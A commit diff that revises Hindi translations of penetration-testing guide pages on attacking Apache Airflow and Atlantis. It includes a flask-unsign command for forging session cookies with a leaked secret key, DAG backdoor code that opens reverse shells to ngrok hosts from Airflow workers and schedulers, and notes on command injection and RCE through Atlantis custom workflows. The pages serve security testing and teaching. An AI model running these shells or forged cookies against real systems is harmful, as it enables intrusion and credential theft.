Translated ['', 'src/pentesting-cloud/kubernetes-security/attacking-kube

This commit is contained in:
Translator
2026-05-26 16:21:12 +00:00
parent 9c6bf4e9af
commit c41f08d0fb
33 changed files with 1807 additions and 1691 deletions
@@ -4,19 +4,19 @@
### Basic Information
[**Apache Airflow**](https://airflow.apache.org) **डेटा पाइपलाइनों या वर्कफ़्लो को व्यवस्थित और शेड्यूल करने के लिए एक प्लेटफ़ॉर्म के रूप में कार्य करता है**। डेटा पाइपलाइनों के संदर्भ में "व्यवस्थापन" का अर्थ विभिन्न स्रोतों से उत्पन्न जटिल डेटा वर्कफ़्लो को व्यवस्थित, समन्वयित और प्रबंधित करने की प्रक्रिया है। इन व्यवस्थित डेटा पाइपलाइनों का प्राथमिक उद्देश्य संसाधित और उपभोग करने योग्य डेटा सेट प्रदान करना है। ये डेटा सेट कई अनुप्रयोगों द्वारा व्यापक रूप से उपयोग कि जात है, जिनमें व्यवसायिक बुद्धिमत्ता उपकरण, डेटा विज्ञान और मशीन लर्निंग मॉडल शामिल हैं, जो सभी बड़े डेटा अनुप्रयोगों के कार्य करने के लिए आधारभूत हैं।
[**Apache Airflow**](https://airflow.apache.org) **data pipelines या workflows को orchestrate और schedule करने** के लिए एक platform के रूप में का करता है। data pipelines के संदर्भ में "orchestration" शब्द का मतलब है विभिन्न sources से आने वाले complex data workflows को arrange, coordinate, और manage करने की process। इन orchestrated data pipelines का primary purpose processed और consumable data sets उपलब्ध करना है। इन data sets का बड़े पैमाने पर कई applications द्वारा उपयोग किया जात है, जिनमें business intelligence tools, data science, और machine learning models शामिल हैं, लेकिन केवल इन्हीं तक सीमित नहीं हैं; और ये सभी big data applications के functioning की आधारशिला हैं।
बुनियादी रूप से, Apache Airflow आपको **कोड के निष्पादन को शेड्यूल करने की अनुमति देगा जब कुछ** (घटना, क्रोन) **होता है**
Basically, Apache Airflow आपको किसी चीज़ के **happen** होने पर (**event, cron**) **code के execution को schedule करने** की अनुमति देगा
### Local Lab
#### Docker-Compose
आप **docker-compose config file from** [**https://raw.githubusercontent.com/apache/airflow/main/docs/apache-airflow/start/docker-compose.yaml**](https://raw.githubusercontent.com/apache/airflow/main/docs/apache-airflow/start/docker-compose.yaml) का उपयोग करके एक पूर्ण apache airflow docker वातावरण लॉन्च कर सकते हैं। (यदि आप MacOS पर हैं, तो सुनिश्चित करें कि आप docker VM को कम से कम 6GB RAM दें)
आप [**https://raw.githubusercontent.com/apache/airflow/main/docs/apache-airflow/start/docker-compose.yaml**](https://raw.githubusercontent.com/apache/airflow/main/docs/apache-airflow/start/docker-compose.yaml) से **docker-compose config file** का उपयोग करके एक complete apache airflow docker environment launch कर सकते हैं। (अगर आप MacOS पर हैं, तो सुनिश्चित करें कि docker VM को कम से कम 6GB RAM दें).
#### Minikube
**apache airflo**w को चलाने का एक आसान तरीका है **minikube के साथ इसे चलाना**:
apache airflo**w** को **run** करने का एक आसान तरीका है इसे **minikube** के साथ **run** करना:
```bash
helm repo add airflow-stable https://airflow-helm.github.io/charts
helm repo update
@@ -28,7 +28,7 @@ helm delete airflow-release
```
### Airflow Configuration
Airflow अपनी **संवेदनशील जानकारी** को अपनी कॉन्फ़िगरेशन में स्टोर कर सकता है या आप कमजोर कॉन्फ़िगरेशन पा सकत हैं:
Airflow अपनी configuration में **sensitive information** store कर सकता है या आपको कमजोर configurations मिल सकत हैं:
{{#ref}}
airflow-configuration.md
@@ -36,7 +36,7 @@ airflow-configuration.md
### Airflow RBAC
Airflow पर हमला करने से पहले आपको **अनुमतियों का काम कैसे होता है** समझना चाहिए:
Airflow पर attack शुरू करने से पहले आपको समझना चाहिए कि **permissions कैसे काम करती है**:
{{#ref}}
airflow-rbac.md
@@ -46,38 +46,38 @@ airflow-rbac.md
#### Web Console Enumeration
यदि आपके पास **वेब कंसोल तक पहुंच** है, तो आप निम्नलिखित जानकारी में से कुछ या सभी तक पहुच सकते हैं:
अगर आपके पास **web console तक access** है, तो आप निम्नलिखित जानकारी में से कुछ या सभी तक पहुच सकते हैं:
- **Variables** (कस्टम संवेदनशील जानकारी यहां स्टोर की जा सकती है)
- **Connections** (कस्टम संवेदनशील जानकारी यहां स्टोर की जा सकती है)
- न्हें `http://<airflow>/connection/list/` में एक्सेस करें
- [**Configuration**](./#airflow-configuration) (संवेदनशील जानकारी जैसे **`secret_key`** और पासवर्ड यहां स्टोर किए जा सकत है)
- **users & roles** की सूची
- **Code of each DAG** (जिसमें दिलचस्प जानकारी हो सकती है)
- **Variables** (यहाँ custom sensitive information store हो सकती है)
- **Connections** (यहाँ custom sensitive information store हो सकती है)
- न्हें `http://<airflow>/connection/list/` पर access करें
- [**Configuration**](#airflow-configuration) (**`secret_key`** और passwords जैसी sensitive information यहाँ store हो सकत है)
- **users & roles** की list
- हर DAG का **Code** (जिसमें interesting info हो सकती है)
#### Retrieve Variables Values
Variables को Airflow में स्टोर किया जा सकता है ताकि **DAGs** उनके मानों को **एक्सेस** कर सकें। यह अन्य प्लेटफार्मों के रहस्यों के समान है। यदि आपके पास **पर्याप्त अनुमतियाँ** हैं, तो आप उन्हें GUI में `http://<airflow>/variable/list/` में एक्सेस कर सकते हैं\
Airflow डिफ़ॉल्ट रूप से GUI में वेरिएबल का मान दिखाएगा, हालाकि, [**इस**](https://marclamberti.com/blog/variables-with-apache-airflow/) के अनुसार, एक **वेरिएबल्स की सूची** सेट करना संभव है जिका **मान** GUI में **अतिरिक्त चिह्नों** के रूप में दिखाई देगा।
Variables को Airflow में store किया जा सकता है ताकि **DAGs** उनके values तक **access** कर सकें। यह दूसरी platforms के secrets जैसा है। अगर आपके पास **enough permissions** हैं, तो आप GUI में `http://<airflow>/variable/list/` पर इन्हें access कर सकते हैं.\
By default Airflow GUI में variable का value दिखाएगा, हालाकि [**इस**](https://marclamberti.com/blog/variables-with-apache-airflow/) के अनुसार एक **list of variables** set करना possible है, जिका **value** **GUI** में **asterisks** के रूप में दिखेगा।
![](<../../images/image (164).png>)
![Airflow Variables page showing AWS_ACCESS_KEY_ID and a masked AWS_SECRET_ACCESS_KEY](<../../images/image (164).png>)
हालांकि, ये **मान** अभी भी **CLI** के माध्यम से **प्राप्त** किए जा सकते हैं (आपको DB एक्सेस होना चाहिए), **मनमाने DAG** निष्पादन, **API** के माध्यम से वेरिएबल्स एंडपॉइंट तक पहुंच (API को सक्रिय करना आवश्यक है), और **यहां तक कि GUI स्वयं!**\
GUI से उन मानों तक पहुचने के लिए बस **वेरिएबल्स** का चयन करें जिन्हें आप एक्सेस करना चाहते हैं और **Actions -> Export** पर क्लिक करें।\
एक और तरीका है **छिपे हुए मान** पर **ब्रूटफोर्स** करना, इसे **खोज फ़िल्टरिंग** का उपयोग करके जब तक आप इसे प्राप्त न कर लें:
हालांकि, इन **values** को अभी भी **CLI** (आपको DB access होना चाहिए), **arbitrary DAG** execution, **API** के variables endpoint को access करके (API को activated होना चाहिए), और **even the GUI itself!** के जरिए **retrieve** किया जा सकता है.\
GUI से उन values तक पहुचने के लिए बस आप जिस variables को access करना चाहते हैं उन्हें **select** करें और **Actions -> Export** पर **click** करें।\
एक और तरीका है **search filtering** का use करके hidden value पर **bruteforce** करना, जब तक कि आपको वह मिल न जाए:
![](<../../images/image (152).png>)
![Airflow Variables search filter returning the AWS_SECRET_ACCESS_KEY variable](<../../images/image (152).png>)
#### Privilege Escalation
यदि **`expose_config`** कॉन्फ़िगरेशन **True** पर सेट है, तो **User** भूमिका और **ऊपर** से **वेब में कॉन्फ़िग** को **पढ़** सकते हैं। इस कॉन्फ़िगरेशन में, **`secret_key`** दिखाई देत है, जिसका अर्थ है कि इस मान्य के साथ कोई भी उपयोगकर्ता **अपना स्वयं का साइन किया हुआ कुकी बना सकता है ताकि किसी अन्य उपयोगकर्ता खाते का अनुकरण कर सके**
अगर **`expose_config`** configuration **True** पर set है, तो **role User** से और उससे ऊपर के **read** कर सकते हैं **config in the web**। इस config में **`secret_key`** दिखाई देत है, जिसका मतलब है कि इस valid वाले किसी भी user के लिए **अपने signed cookie** बनाकर किसी भी दूसरे user account की **impersonate** करना possible है
```bash
flask-unsign --sign --secret '<secret_key>' --cookie "{'_fresh': True, '_id': '12345581593cf26619776d0a1e430c412171f4d12a58d30bef3b2dd379fc8b3715f2bd526eb00497fcad5e270370d269289b65720f5b30a39e5598dad6412345', '_permanent': True, 'csrf_token': '09dd9e7212e6874b104aad957bbf8072616b8fbc', 'dag_status_filter': 'all', 'locale': 'en', 'user_id': '1'}"
```
#### DAG बैकडोर (Airflow कार्यकर्ता में RCE)
#### DAG बैकडोर (Airflow worker में RCE)
यदि आपके पास **लिखने की अनुमति** है जहाँ **DAGs सहेजे जाते हैं**, तो आप बस **एक बना सकते हैं** जो आपको एक **रिवर्स शेल** भेजेगा।\
ध्यान दें कि यह रिवर्स शेल एक **airflow कार्यकर्ता कंटेनर** के अंदर निष्पादित होने वाला है:
यदि आपके पास वह जगह पर **write access** है जहाँ **DAGs** सेव होते हैं, तो आप बस एक **reverse shell** भेजने वाला **DAG** बना सकते हैं।\
ध्यान दें कि यह reverse shell एक **airflow worker container** के अंदर execute होगी:
```python
import pendulum
from airflow import DAG
@@ -116,9 +116,9 @@ python_callable=rs,
op_kwargs={"rhost":"8.tcp.ngrok.io", "port": 11433}
)
```
#### DAG बैकडोर (Airflow शेड्यूलर में RCE)
#### DAG Backdoor (RCE in Airflow scheduler)
यदि आप कुछ को **कोड की जड़ में निष्पादित करने के लिए सेट करते हैं**, तो इस लेखन के समय, इसे **शेड्यूलर द्वारा निष्पादित किया जाएगा** DAG के फ़ोल्डर में रखने के कुछ सेकंड बाद।
यदि आप किसी चीज़ को **code के root में execute** होने के लिए सेट करते हैं, तो इस लेखन के समय, यह **scheduler द्वारा execute** की जाएगी, DAG के folder के अंदर रखने के कुछ seconds बाद।
```python
import pendulum, socket, os, pty
from airflow import DAG
@@ -142,24 +142,24 @@ task_id='rs_python2',
python_callable=rs,
op_kwargs={"rhost":"2.tcp.ngrok.io", "port": 144}
```
#### DAG निर्माण
#### DAG Creation
यदि आप **DAG क्लस्टर के अंदर एक मशीन को समझौता करने में सफल होते हैं**, तो आप `dags/` फ़ोल्डर में नए **DAGs स्क्रिप्ट** बना सकते हैं और **DAG क्लस्टर के अंदर बाकी मशीनों में दोहराए जाएंगे**
यदि आप **DAG cluster** के अंदर किसी machine को **compromise** करने में सफल हो जाते हैं, तो आप `dags/` folder में नए **DAGs scripts** बना सकते हैं और **DAG cluster** के बाकी machines में **replicated** हो जाएंगे।
#### DAG कोड इंजेक्शन
#### DAG Code Injection
जब आप GUI से क DAG को निष्पादित करते हैं, तो आप इसे **आर्गुमेंट्स** **दे सकते हैं**।\
इसलिए, यदि DAG ीक से कोडित नहीं है, तो **कमांड इंजेक्शन के लिए संवेदनशील हो सकता है।**\
यही इस CVE में हुआ: [https://www.exploit-db.com/exploits/49927](https://www.exploit-db.com/exploits/49927)
जब आप GUI से किसी DAG को execute करते हैं, तो आप उसमें **arguments** pass कर सकते हैं।\
इसलिए, अगर DAG सही तरीक से coded नहीं है, तो **Command Injection** के लिए **vulnerable** हो सकता है।\
यही इस CVE में हुआ था: [https://www.exploit-db.com/exploits/49927](https://www.exploit-db.com/exploits/49927)
आपको **DAGs में कमांड इंजेक्शन की तलाश शुरू करने के लिए जो कुछ भी जानने की आवश्यकता है, वह यह है कि **पैरामीटर** को **`dag_run.conf.get("param_name")`** के साथ **एक्सेस** कि जात हैं।
**DAGs** में command injections ढूंढना शुरू करने के लिए आपको बस यह जानना है कि **parameters** को **`dag_run.conf.get("param_name")`** code से **accessed** किया जात है
इसके अलावा, ही संवेदनशीलता **वेरिएबल्स** के साथ भी हो सकती है (ध्यान दें कि पर्याप्त विशेषाधिकार के साथ आप GUI में **वेरिएबल्स के मान को नियंत्रित कर सकते हैं**)। वेरिएबल्स को **इससे एक्सेस किया जाता है**:
इसके अलावा, ही vulnerability **variables** के साथ भी हो सकती है (ध्यान दें कि पर्याप्त privileges होने पर आप GUI में variables की value को **control** कर सकते हैं)। Variables को **accessed with**:
```python
from airflow.models import Variable
[...]
foo = Variable.get("foo")
```
यदि उन्हें उदाहरण के लिए क bash कमांड के अंदर उपयोग किया जात है, तो आप एक कमांड इंजेक्शन कर सकते हैं।
यदि वे उदाहरण के लिए किसी bash command के अंदर उपयोग कि जात है, तो आप command injection कर सकते हैं।
{{#include ../../banners/hacktricks-training.md}}
+116 -116
View File
@@ -4,109 +4,109 @@
### Basic Information
Atlantis मूल रूप से आपको आपके git सर्वर से Pull Requests से terraform चलाने में मदद करता है।
Atlantis मूल रूप से आपको अपने git server से Pull Requests से terraform चलाने में मदद करता है।
![](<../images/image (161).png>)
![Atlantis pull request workflow showing plan and apply comments in the PR lifecycle](<../images/image (161).png>)
### Local Lab
1. [https://github.com/runatlantis/atlantis/releases](https://github.com/runatlantis/atlantis/releases) **atlantis releases page** पर जाएं और **download** करें जो आपके लिए उपयुक्त हो
2. अपने **github** उपयोगकर्ता का **personal token** (repo access के साथ) बनाएं।
3. `./atlantis testdrive` चलाएं और यह एक **demo repo** बनाएगा जिसका आप **atlantis से बात करने के लिए उपयोग कर सकते हैं**
1. आप 127.0.0.1:4141 पर वेब पृष्ठ तक पहुँच सकते हैं
1. **atlantis releases page** पर जाएं [https://github.com/runatlantis/atlantis/releases](https://github.com/runatlantis/atlantis/releases) अपने लिए उपयुक्त वाला **download** करें
2. अपने **github** user का एक **personal token** बनाएं (repo access के साथ)
3. `./atlantis testdrive` execute करें और यह एक **demo repo** बनाएगा जिसका उपयोग आप **atlantis** से **talk to** करने के लिए कर सकते हैं
1. आप web page को 127.0.0.1:4141 पर access कर सकते हैं
### Atlantis Access
#### Git Server Credentials
**Atlantis** कई git होस्ट जैसे **Github**, **Gitlab**, **Bitbucket** और **Azure DevOps**ा समर्थन करता है।\
हालांकि, प्लेटफार्मों में repos तक पहुँचने और क्रियाएँ करने के लिए, इसे कुछ **privileged access granted to them** (कम से कम लिखने की अनुमति) की आवश्यकता होती है।\
[**The docs**](https://www.runatlantis.io/docs/access-credentials.html#create-an-atlantis-user-optional) इन प्लेटफार्मों में Atlantis के लिए विशेष रूप से एक उपयोगकर्ता बनाने की सिफारिश करते हैं, लेकिन कुछ लोग व्यक्तिगत खातों का उपयोग कर सकते हैं।
**Atlantis** कई git hosts जैसे **Github**, **Gitlab**, **Bitbucket** और **Azure DevOps**ो support करता है।\
हालांकि, platforms पर repos तक access करने और actions perform करने के लिए, इसे कुछ **privileged access** देना पड़ता है (कम से कम write permissions)।\
[**The docs**](https://www.runatlantis.io/docs/access-credentials.html#create-an-atlantis-user-optional) Atlantis के लिए specifically इन platform में एक user बनाने की सलाह देती हैं, लेकिन कुछ लोग personal accounts भी use कर सकते हैं।
> [!WARNING]
> किसी भी मामले में, एक हमलावर के दृष्टिकोण से, **Atlantis account** एक बहुत ही **दिलचस्प** **compromise करने के लिए** होगा।
> किसी भी case में, attacker के perspective से, **Atlantis account** compromise करने के लिए बहुत **interesting** होगा।
#### Webhooks
Atlantis वैकल्पिक रूप से [**Webhook secrets**](https://www.runatlantis.io/docs/webhook-secrets.html#generating-a-webhook-secret) का उपयोग करता है ताकि यह सत्यापित किया जा सके कि आपके Git होस्ट से प्राप्त **webhooks** **legitimate** हैं
Atlantis optionally [**Webhook secrets**](https://www.runatlantis.io/docs/webhook-secrets.html#generating-a-webhook-secret) का उपयोग करता है ताकि Git host से मिलने वाले **webhooks** की legitimacy validate की जा सके
इसकी पुष्टि करने का एक तरीका यह होगा कि **केवल आपके Git होस्ट के IPs से आने के लिए अनुरोधों को allowlist करें**, लेकिन एक आसान तरीका Webhook Secret का उपयोग करना है।
इसे confirm करने का एक तरीका यह होगा कि requests को केवल आपके Git host के IPs से ही आने दिया जाए, लेकिन इससे आसान तरीका Webhook Secret use करना है।
ध्यान दें कि जब तक आप एक निजी github या bitbucket सर्वर का उपयोग नहीं करते, आपको वेबहुक एंडपॉइंट्स को इंटरनेट पर उजागर करने की आवश्यकता होग
ध्यान दें कि जब तक आप private github या bitbucket server use नहीं करते, आपको webhook endpoints को Internet के लिए expose करना होग
> [!WARNING]
> Atlantis **webhooks** को **exposing** करने जा रहा है ताकि git सर्वर इसे जानकारी भेज सके। एक हमलावर के दृष्टिकोण से यह जानना दिलचस्प होगा कि **क्या आप इसे संदेश भेज सकते हैं**
> Atlantis **webhooks expose** करने वाला है ताकि git server इसे information भेज सके। attacker के perspective से यह जानना interesting होगा कि क्या आप इसे messages भेज सकते हैं।
#### Provider Credentials <a href="#provider-credentials" id="provider-credentials"></a>
[From the docs:](https://www.runatlantis.io/docs/provider-credentials.html)
Atlantis Terraform को बस **`terraform plan` और `apply`** कमांड्स को सर्वर पर **जहाँ Atlantis होस्ट किया गया है** चलाकर चलाता है। ठीक उसी तरह जैसे आप स्थानीय रूप से Terraform चलाते हैं, Atlantis को आपके विशेष प्रदाता के लिए क्रेडेंशियल्स की आवश्यकता होती है
Atlantis Terraform को server **Atlantis is hosted on** पर बस **`terraform plan` और `apply`** commands execute करके चलाता है। जैसे जब आप Terraform locally चलाते हैं, Atlantis को आपके specific provider के लिए credentials चाहिए
यह आप पर निर्भर करता है कि आप Atlantis के लिए अपने विशेष प्रदाता के लिए [credentials](https://www.runatlantis.io/docs/provider-credentials.html#aws-specific-info) कैसे प्रदान करते हैं:
यह आप पर निर्भर है कि आप अपने specific provider के credentials Atlantis को कैसे [provide credentials](https://www.runatlantis.io/docs/provider-credentials.html#aws-specific-info) करते हैं:
- Atlantis [Helm Chart](https://www.runatlantis.io/docs/deployment.html#kubernetes-helm-chart) और [AWS Fargate Module](https://www.runatlantis.io/docs/deployment.html#aws-fargate) के पास प्रदाता क्रेडेंशियल्स के लिए अपने स्वयं के तंत्र हैं। उनके दस्तावेज़ पढ़ें।
- यदि आप Atlantis को एक क्लाउड में चला रहे हैं तो कई क्लाउड में उन पर चलने वाले अनुप्रयोगों को क्लाउड API एक्सेस देने के तरीके हैं,ैसे:
- [AWS EC2 Roles](https://registry.terraform.io/providers/hashicorp/aws/latest/docs) ( "EC2 Role" के लिए खोजें)
- Atlantis [Helm Chart](https://www.runatlantis.io/docs/deployment.html#kubernetes-helm-chart) और [AWS Fargate Module](https://www.runatlantis.io/docs/deployment.html#aws-fargate) के provider credentials के लिए अपने अलग mechanisms हैं। उनकी docs पढ़ें।
- अगर आप Atlantis को cloud में चला रहे हैं, तो कई clouds applications को cloud API access देने के तरीके देते हैं जो उन पर चल रहे हैं, ex:
- [AWS EC2 Roles](https://registry.terraform.io/providers/hashicorp/aws/latest/docs) ("EC2 Role" खोजें)
- [GCE Instance Service Accounts](https://registry.terraform.io/providers/hashicorp/google/latest/docs/guides/provider_reference)
- कई उपयोगकर्ता पर्यावरण चर सेट करते हैं, जैसे। `AWS_ACCESS_KEY`, जहाँ Atlantis चल रहा है।
- अन्य आवश्यक कॉन्फ़िग फ़ाइलें बनाते हैं, जैसे। `~/.aws/credentials`, जहाँ Atlantis चल रहा है।
- प्रदाता क्रेडेंशियल्स प्राप्त करने के लिए [HashiCorp Vault Provider](https://registry.terraform.io/providers/hashicorp/vault/latest/docs) का उपयोग करें।
- बहुत से users environment variables set करते हैं, ex. `AWS_ACCESS_KEY`, जहाँ Atlantis चल रहा है।
- अन्य लोग आवश्यक config files बनाते हैं, ex. `~/.aws/credentials`, जहाँ Atlantis चल रहा है।
- provider credentials प्राप्त करने के लिए [HashiCorp Vault Provider](https://registry.terraform.io/providers/hashicorp/vault/latest/docs) का उपयोग करें।
> [!WARNING]
> **Container** जहाँ **Atlantis** **चल रहा है** संभवतः **privileged credentials** को प्रदाताओं (AWS, GCP, Github...) के लिए **contain** करेगा जिन्हें Atlantis Terraform के माध्यम से प्रबंधित कर रहा है।
> जिस **container** में **Atlantis** चल रहा है, उसमें बहुत संभव है कि providers (AWS, GCP, Github...) के privileged credentials हों जिन्हें Atlantis Terraform के जरिए manage कर रहा है।
#### Web Page
डिफ़ॉल्ट रूप से Atlantis एक **वेब पृष्ठ को localhost पर पोर्ट 4141 में चलाएगा**। यह पृष्ठ आपको atlantis apply को सक्षम/अक्षम करने और repos की योजना की स्थिति की जांच करने और उन्हें अनलॉक करने की अनुमति देता है (यह चीजको संशोधित करने की अनुमति नहीं देता, इसलिए यह तना उपयोगी नहीं है)।
Default रूप से Atlantis localhost पर port 4141 में एक **web page** चलाएगा। यह page सिर्फ आपको atlantis apply enable/disable करने, repos की plan status check करने और उन्हें unlock करने देता है (यह चीजmodify करने देता है, इसलिए यह तना useful नहीं है)।
आप शायद इसे इंटरनेट पर उजागर नहीं पाएंगे, लेकिन ऐसा लगता है कि डिफ़ॉल्ट रूप से **इस तक पहुँचने के लिए कोई क्रेडेंशियल्स की आवश्यकता नहीं है** (और यदि हैं तो `atlantis`:`atlantis` **डिफ़ॉल्ट** हैं)।
आपको शायद यह Internet पर exposed नहीं मिलेगा, लेकिन ऐसा लगता है कि default रूप से इसे access करने के लिए **no credentials** चाहिए (और अगर चाहिए भी, तो `atlantis`:`atlantis` **default** ones हैं)।
### Server Configuration
`atlantis server`े लिए कॉन्फ़िगरेशन कमांड लाइन फ्लैग, पर्यावरण चर, एक कॉन्फ़िग फ़ाइल या तीनों का मिश्रण के माध्यम से निर्दिष्ट किया जा सकत है।
`atlantis server`ी configuration command line flags, environment variables, config file, या इन तीनों के mix से specify की जा सकत है।
- आप [**यहाँ फ्लैग की सूची**](https://www.runatlantis.io/docs/server-configuration.html#server-configuration) पा सकते हैं जो Atlantis सर्वर द्वारा समर्थित हैं।
- आप [**यहाँ जान सकते हैं कि एक कॉन्फ़िग विकल्प को env var में कैसे परिवर्तित किया जाए**](https://www.runatlantis.io/docs/server-configuration.html#environment-variables)
- Atlantis server द्वारा supported [**here the list of flags**](https://www.runatlantis.io/docs/server-configuration.html#server-configuration) आपको **here** मिलेगी
- config option को env var में बदलने का तरीका [**here** मिलेगा](https://www.runatlantis.io/docs/server-configuration.html#environment-variables)
मान मानने का **यह क्रम** है:
Values इस order में **chosen** की जाती है:
1. Flags
2. Environment Variables
3. Config File
> [!WARNING]
> ध्यान दें कि कॉन्फ़िगरेशन में आप **tokens और passwords** जैसे दिलचस्प मान पा सकते हैं।
> ध्यान दें कि configuration में आपको **tokens and passwords** जैसे interesting values मिल सकते हैं।
#### Repos Configuration
कुछ कॉन्फ़िगरेशन **repos के प्रबंधन के तरीके को प्रभावित करते है**। हालाकि, यह संभव है कि **प्रत्येक repo को विभिन्न सेटिंग्स की आवश्यकता हो**, इसलिए प्रत्येक repo को निर्दिष्ट करने के तरीके हैं। यह प्राथमिकता क्रम है:
कुछ configurations **repos को कैसे manage किया जाता है** इस पर असर डालती हैं। हालाकि, यह possible है कि **हर repo को अलग settings चाहिए**, इसलिए हर repo के लिए specify करने के तरीके हैं। यह priority order है:
1. Repo [**`/atlantis.yml`**](https://www.runatlantis.io/docs/repo-level-atlantis-yaml.html#repo-level-atlantis-yaml-config) फ़ाइल। इस फ़ाइल का उपयोग यह निर्दिष्ट करने के लिए किया जा सकता है कि atlantis को repo के साथ कैसे व्यवहार करना चाहिए। हालाकि, डिफ़ॉल्ट रूप से कुछ कुंजियाँ यहाँ निर्दिष्ट नहीं क जा सकती हैं बिना कुछ फ्लैग्स की अनुमति के
1. शायद `allowed_overrides` या `allow_custom_workflows` जैसे फ्लैग्स द्वारा अनुमति दी जानी चाहिए
2. [**Server Side Config**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config): आप इसे फ्लैग `--repo-config` के साथ पास कर सकते हैं और यह प्रत्येक repo के लिए नई सेटिंग्स को कॉन्फ़िगर करने वाला yaml है (regexes समर्थित)।
3. **Default** मान।
1. Repo [**`/atlantis.yml`**](https://www.runatlantis.io/docs/repo-level-atlantis-yaml.html#repo-level-atlantis-yaml-config) file। इस file का उपयोग यह specify करने के लिए किया जा सकता है कि atlantis repo क कैसे treat करे। हालाकि, by default कुछ keys को यहां specify नहीं किया जा सकता जब तक कुछ flags इसे allow न करें
1. शायद `allowed_overrides` या `allow_custom_workflows` जैसे flags द्वारा allowed होना चाहिए
2. [**Server Side Config**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config): आप इसे `--repo-config` flag के साथ pass कर सकते हैं और यह एक yaml है जो हर repo के लिए नए settings configure करता है (regexes supported)
3. **Default** values
**PR Protections**
Atlantis यह संकेत करने की अनुमति देता है कि क्या आप चाहते हैं कि **PR**ो किसी और द्वारा **`approved`** किया जाए (भले ही वह शाखा सुरक्षा में सेट न हो) और/या **`mergeable`** (शाखा सुरक्षा पास की गई) **apply चलाने से पहले**। सुरक्षा के दृष्टिकोण से, दोनों विकल्प सेट करना अनुशंसित है।
Atlantis यह indicate करने देता है कि क्या आप चाहते हैं कि **PR** किसी और द्वारा **`approved`** हो (भले ही branch protection में वह set न हो) और/या **`mergeable`** हो (branch protections passed) **before running apply**। security point of view से, दोनों options set करना recommended है।
यदि `allowed_overrides` True है, तो ये सेटिंग्स **प्रत्येक प्रोजेक्ट पर `/atlantis.yml` फ़ाइल द्वारा ओवरराइट की जा सकती हैं**
अगर `allowed_overrides` True है, तो ये setting **हर project पर `/atlantis.yml` file द्वारा overwrite** की जा सकती हैं।
**Scripts**
Repo कॉन्फ़िगरेशन **स्क्रिप्ट्स को निर्दिष्ट कर सकता है** [**पहले**](https://www.runatlantis.io/docs/pre-workflow-hooks.html#usage) (_pre workflow hooks_) और [**बाद में**](https://www.runatlantis.io/docs/post-workflow-hooks.html) (_post workflow hooks_) एक **workflow के निष्पादन के लिए।**
Repo config [**before**](https://www.runatlantis.io/docs/pre-workflow-hooks.html#usage) (_pre workflow hooks_) और [**after**](https://www.runatlantis.io/docs/post-workflow-hooks.html) (_post workflow hooks_) **workflow execute** होने पर run होने वाले scripts specify कर सकती है।
इन स्क्रिप्ट्स को **repo `/atlantis.yml`** फ़ाइल में **specify** करने क कोई विकल्प नहीं है।
repo `/atlantis.yml` file में इन scripts को **specify** करने क कोई option नहीं है। हालांकि, अगर execute करने के लिए configured script उसी repo में स्थित है, तो उसकी content को एक PR में modify करके arbitrary code execute करना possible है।
**Workflow**
Repo कॉन्फ़िगरेशन (सर्वर साइड कॉन्फ़िगरेशन) में आप [**एक नया डिफ़ॉल्ट workflow**](https://www.runatlantis.io/docs/server-side-repo-config.html#change-the-default-atlantis-workflow) निर्दिष्ट कर सकते हैं, या [**नई कस्टम workflows**](https://www.runatlantis.io/docs/custom-workflows.html#custom-workflows)** बना सकते हैं।** आप यह भी **specify** कर सकते हैं कि कौन से **repos** **नए** उत्पन्न किए गए ones तक **पहुँच** सकते हैं।\
फिर, आप प्रत्येक repo क **atlantis.yaml** फ़ाइल को **workflow का उपयोग करने के लिए निर्दिष्ट करने की अनुमति दे सकते हैं।**
Repo config (server side config) में आप [**specify a new default workflow**](https://www.runatlantis.io/docs/server-side-repo-config.html#change-the-default-atlantis-workflow) कर सकते हैं, या [**create new custom workflows**](https://www.runatlantis.io/docs/custom-workflows.html#custom-workflows)**.** आप यह भी **specify** कर सकते हैं कि कौन से **repos** नए generated workflows तक **access** कर सकते हैं।\
फिर, आप हर repo क **atlantis.yaml** file को use किए जाने वाले workflow को **specify** करने की अनुमति दे सकते हैं।
> [!CAUTION]
> यदि [**server side config**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) फ्लैग `allow_custom_workflows` को **True** पर सेट किया गया है, तो workflows को प्रत्येक repo क **`atlantis.yaml`** फ़ाइल में **specify** किया जा सकता है। यह भी संभावित रूप से आवश्यक है कि **`allowed_overrides`** **`workflow`** को **override करके लिए भी निर्दिष्ट करे जो उपयोग किया जाने वाला है।\
> यह मूल रूप से **Atlantis सर्वर में RCE किसी भी उपयोगकर्ता को देगा जो उस repo तक पहुँच सकता है**
> अगर [**server side config**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) flag `allow_custom_workflows` को **True** set किया गया है, तो workflows को हर repo क **`atlantis.yaml`** file में specify किया जा सकता है। यह भी संभवतः जरूरी है कि **`allowed_overrides`** भी **`workflow`** को specify करे ताकि इस्तेमाल होने वाले workflow को **override** किया जा सके।\
> इससे basically Atlantis server में **RCE** मिल जाएगा किसी भी user को जो उस repo तक access कर सकता है।
>
> ```yaml
> # atlantis.yaml
@@ -126,18 +126,18 @@ Repo कॉन्फ़िगरेशन (सर्वर साइड कॉ
**Conftest Policy Checking**
Atlantis **server-side** [**conftest**](https://www.conftest.dev/) **policies** को योजना के आउटपुट के खिलाफ चलाने का समर्थन करता है। इस चरण का सामान्य उपयोग के मामले में शामिल हैं:
Atlantis plan output के against server-side [**conftest**](https://www.conftest.dev/) **policies** run करने का support करता है। इस step के common usecases में शामिल हैं:
- मॉड्यूल की एक सूची के उपयोग को अस्वीकार करना
- निर्माण के समय एक संसाधन के गुणों का दावा करना
- अनजाने में संसाधन हटाने को पकड़ना
- सुरक्षा जोखिमों को रोकना (जैसे। सार्वजनिक रूप से सुरक्षित पोर्ट को उजागर करना)
- modules की list के usage को deny करना
- creation time पर resource के attributes assert करना
- unintentional resource deletions पकड़ना
- security risks को रोकना (ie. secure ports को public के लिए expose करना)
आप इसे [**the docs**](https://www.runatlantis.io/docs/policy-checking.html#how-it-works) में कॉन्फ़िगर करने के तरीके की जांच कर सकते हैं।
आप इसे कैसे configure करना है, यह [**the docs**](https://www.runatlantis.io/docs/policy-checking.html#how-it-works) में check कर सकते हैं।
### Atlantis Commands
[**In the docs**](https://www.runatlantis.io/docs/using-atlantis.html#using-atlantis) आप Atlantis चलाने के लिए उपयोग कर सकने वाले विकल्प पा सकते हैं:
